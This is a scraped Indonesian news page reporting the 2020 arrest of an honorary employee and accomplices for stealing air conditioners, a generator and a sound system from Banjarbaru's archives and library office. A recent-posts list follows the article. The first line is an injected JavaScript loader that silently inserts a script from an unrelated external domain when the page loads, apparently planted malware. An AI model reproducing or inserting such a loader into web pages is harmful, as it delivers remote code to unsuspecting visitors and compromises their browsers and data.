(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Ditangkap Curi AC, Genset dan Sound System Dispersip Banjarbaru, Ternyata Otaknya Honorer Sendiri


KANALKALIMANTAN.COM, BANJARBARU – Ari (30) warga Martapura tak berkutik saat diamankan Satreskrim Polres Banjarbaru atas pencurian barang di Dinas Arsip dan Perpustakaan Daerah Kota Banjarbaru.

Peristiwa pencurian itu terjadi pada 19 Mei 2020 lalu. Ari mencuri barang-barang berharga di kantor milik Pemerintah Kota Banjarbaru tersebut.

Diantaranya 2 unit AC, 1 unit genset dan 1 unit sound system. Sehingga diperkirakan Dinas Arsip dan Perpustakaan Daerah Kota Banjarbaru mengalami kerugian mencapai kurang lebih Rp 70 juta.

Penangkapan Ari dilakukan Satreskrim Polres Banjarbaru dipimpin Iptu Alhamidie. Namun, kasus tidak berhenti sampai di situ.

Setelah dilakukan pengembangan, polisi rupanya menemukam jejak bukti bahwa ada otak utama dari pencurian barang-barang itu alias ada pelaku utama lainnya.

EI, otak pelaku pencurian AC dan Genset di Dispersip Banjarbaru. foto: humas polres banjarbaru

Usut punya usut didapatlah nama EI (36). EI ternyata orang dalam kantor sendiri dengan status honorer di Dinas Arsip dan Perpustakaan Daerah Kota Banjarbaru.

“Dari pengakuannya, ia mencuri barang-barang di kantor itu dengan menggunakan mobil Dinas yang dipinjamkan oleh kantor,” ucap Kapolres Banjarbaru AKBP Doni Hadi Santoso melalui Kasubbaghumas Polres Banjarbaru Iptu Tajudin Noor, Kamis (11/6/2020) siang.

Lebih lanjut, Tajudin mengatakan, pihaknya kembali melakukan pengembangan kepada pelaku EI (36) dan berhasil mengamankan lagi dua penadah, R (29) warga Banjarbaru dan AM (40) warga Banjarbaru.

“Atas perbuatannya, EI dijerat Pasal 362 KUHP dengan ancaman hukuman minimal 5 tahun kurungan penjara. Sedangkan 3 penadah lainnya dijerat dengan pasal 480 dengan ancaman hukuman minimal 4 tahun kurungan penjara,” singkat Iptu Tajudin. (kanalkalimamtan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

31 menit ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

60 menit ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

2 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

3 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

3 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

7 jam ago

This website uses cookies.